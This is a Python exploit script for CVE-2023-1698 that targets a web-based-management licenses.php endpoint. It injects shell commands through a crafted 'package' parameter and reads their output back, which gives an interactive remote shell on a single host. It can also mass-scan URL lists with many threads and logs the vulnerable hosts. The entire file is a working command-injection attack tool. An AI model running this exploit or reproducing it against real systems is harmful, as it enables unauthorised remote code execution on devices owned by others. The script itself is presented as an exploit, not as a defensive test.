import re import os import json import argparse import warnings import requests from rich.console import Console from alive_progress import alive_bar from prompt_toolkit import PromptSession from prompt_toolkit.formatted_text import HTML from prompt_toolkit.history import InMemoryHistory from concurrent.futures import ThreadPoolExecutor, as_completed from requests.packages.urllib3.exceptions import InsecureRequestWarning console = Console() warnings.simplefilter('ignore', InsecureRequestWarning) def send_request(base_url, command='id'): payload = {"package": f";echo -n [; echo -n S];{command}; echo [E];#"} headers = { 'Content-Type': 'application/x-www-form-urlencoded', } response = requests.post( f"{base_url}/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php", headers=headers, data=json.dumps(payload), verify=False, timeout=5 ) return response def check_vulnerability(url, response, output_file=None, single_url_mode=False, interactive_mode=False): formatted_output = response.text.replace('\/', '/') pattern = re.compile(r'\[S\](.*?)\[E\]', re.DOTALL) match = pattern.search(formatted_output) if match: extracted_content = match.group(1).encode().decode('unicode_escape') if interactive_mode: console.print(f"[bold yellow]\n{extracted_content}[/bold yellow]") else: console.print(f"[bold red][+] {url} is vulnerable to CVE-2023-1698[/bold red]\n[bold green][-] Extracted Output:[/bold green] [bold yellow]{extracted_content}[/bold yellow]") if output_file and not single_url_mode: with open(output_file, 'a') as file: file.write(url + '\n') return True elif single_url_mode: console.print(f"[bold green][+] {url} is not vulnerable to CVE-2023-1698.") return False def check_url(url, output_file, single_url_mode=False): try: response = send_request(url) if check_vulnerability(url, response, output_file, single_url_mode): if single_url_mode: session = PromptSession(history=InMemoryHistory()) while True: try: command = session.prompt(HTML('# ')) if "exit" in command: raise KeyboardInterrupt elif not command: continue elif "clear" in command: if os.name == 'posix': os.system('clear') elif os.name == 'nt': os.system('cls') continue if command.lower() in ["exit", "quit"]: break response = send_request(url, command) check_vulnerability(url, response, output_file, single_url_mode=True, interactive_mode=True) except KeyboardInterrupt: console.print("[bold yellow][!] Exiting shell...[/bold yellow]") return None except requests.exceptions.RequestException: console.print("[bold red][-] Connection Error") if single_url_mode else None return False def main(): parser = argparse.ArgumentParser(description='CVE-2023-1698 Exploit') parser.add_argument('-u', '--url', type=str, help='The base url for the requests', required=False) parser.add_argument('-l', '--list', type=str, help='File containing a list of base urls to scan', required=False) parser.add_argument('-t', '--threads', type=int, help='Number of threads to use', default=100) parser.add_argument('-o', '--output', type=str, help='File to output vulnerable urls') args = parser.parse_args() if args.list: with open(args.list, 'r') as file: urls = [line.strip() for line in file] with ThreadPoolExecutor(max_workers=args.threads) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar: futures = {executor.submit(check_url, url, args.output): url for url in urls} for future in as_completed(futures): bar() elif args.url: check_url(args.url, args.output, single_url_mode=True) else: console.print("[red]Please provide a url or a file with a list of base urls to scan.[/red]") if __name__ == "__main__": main()